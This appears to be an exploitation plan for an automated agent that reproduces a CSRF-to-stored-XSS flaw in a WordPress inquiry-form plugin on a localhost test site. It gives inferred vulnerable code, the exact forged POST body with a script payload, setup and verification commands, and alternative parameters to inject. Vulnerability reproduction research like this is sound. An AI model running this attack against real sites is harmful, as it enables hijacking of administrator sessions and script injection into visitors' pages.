Exploitation Research Plan: CVE-2026-6293

1. Vulnerability Summary

The Inquiry Form to Posts or Pages plugin (version <= 1.0) is vulnerable to a Cross-Site Request Forgery (CSRF) that leads to Stored Cross-Site Scripting (XSS). The plugin's settings update handler lacks any nonce validation (e.g., check_admin_referer). The handler processes updates based solely on the presence of a specific POST parameter (inq_hidden=Y). Furthermore, the plugin fails to sanitize the inq_header input before saving it to the database and fails to escape it when displaying it on the site. This allows an unauthenticated attacker to trick a logged-in administrator into submitting a request that injects malicious JavaScript into the plugin settings.

2. Attack Vector Analysis

• Endpoint: The plugin settings page, typically handled via wp-admin/admin.php?page=[plugin-slug] or a hook on admin_init.
• Vulnerable Parameter: inq_header.
• Trigger Parameter: inq_hidden must be set to Y.
• Authentication Requirement: CSRF requires a victim with Administrator privileges to be logged in and visit a malicious page.
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Entry Point: The plugin likely registers an admin menu page using add_menu_page or add_options_page with a callback.
2. Processing Logic: Inside the callback or an admin_init hook:

   if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') {
       // VULNERABILITY: No check_admin_referer() or wp_verify_nonce()
       $inq_header = $_POST['inq_header']; // VULNERABILITY: No sanitization
       update_option('inq_header', $inq_header);
       // ... other parameters like inq_email, inq_subject ...
   }
   

3. Sink (Display): When a post or page containing the inquiry form is rendered (likely via a shortcode like [inquiry_form]), the stored value is retrieved and printed:

   $header = get_option('inq_header');
   echo "<h3>" . $header . "</h3>"; // VULNERABILITY: No escaping (esc_html)
   

4. Nonce Acquisition Strategy

None Required.
The vulnerability details explicitly state: "The settings handler fires solely on the presence of $_POST['inq_hidden'] == 'Y' with no call to check_admin_referer() and no WordPress nonce anywhere in the form or handler."

5. Exploitation Strategy

The goal is to update the plugin settings to include a Stored XSS payload via CSRF.

Step 1: Identify Admin Page Slug

The agent should first identify the correct menu slug for the plugin to target the correct URL.

• Action: Search the plugin files for add_menu_page or add_submenu_page.
• Common Slug: inquiry-form-to-posts-or-pages or inquiry_form_settings.

Step 2: Perform CSRF to Inject XSS

The agent will simulate an admin-triggered POST request to the settings page.

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin.php?page=[identified-slug]
• Content-Type: application/x-www-form-urlencoded
• Body:

  inq_hidden=Y&inq_header=</p><script>alert(document.domain)</script><p>&inq_email=admin@example.com&inq_subject=Inquiry
  

Step 3: Trigger the XSS

The agent needs to view a page where the inquiry form is displayed.

• Action: Find or create a post with the plugin's shortcode.
• Shortcode: Usually found by searching for add_shortcode in the plugin code (e.g., [inquiry_form]).

6. Test Data Setup

1. Plugin Installation: Ensure inquiry-form-to-posts-or-pages version 1.0 is installed and active.
2. User: An active Administrator user.
3. Content: Create a public post containing the inquiry form shortcode:

   wp post create --post_title="Contact Us" --post_content="[inquiry_form]" --post_status=publish
   

   (Note: Replace [inquiry_form] with the actual shortcode found in the source code).

7. Expected Results

1. The POST request should return a 200 OK or 302 Found (redirecting back to the settings page).
2. The WordPress option inq_header should now contain the <script> payload.
3. Navigating to the post created in Step 6 should execute the JavaScript (the alert will be visible in the browser context).

8. Verification Steps

1. Database Check: Verify the option value using WP-CLI:

   wp option get inq_header
   

   Confirmation: The output should contain the string </p><script>alert(document.domain)</script><p>.
2. Frontend Check: Use browser_navigate to the URL of the created post and check for the presence of the script in the HTML.

   # Get the post URL
   POST_URL=$(wp post list --post_type=post --title="Contact Us" --field=url)
   # Check HTML output
   curl -s "$POST_URL" | grep "alert(document.domain)"
   

9. Alternative Approaches

If inq_header is sanitized (contrary to the report), attempt to inject into other possible parameters identified during the audit of the settings handler:

• inq_email (unlikely to be displayed, but could affect admin emails).
• inq_subject.
• inq_success_message (often displayed after form submission).

If the settings page uses admin-post.php instead of a direct menu page:

• URL: http://localhost:8080/wp-admin/admin-post.php
• Body: Include action=[plugin_action_name] in the POST body.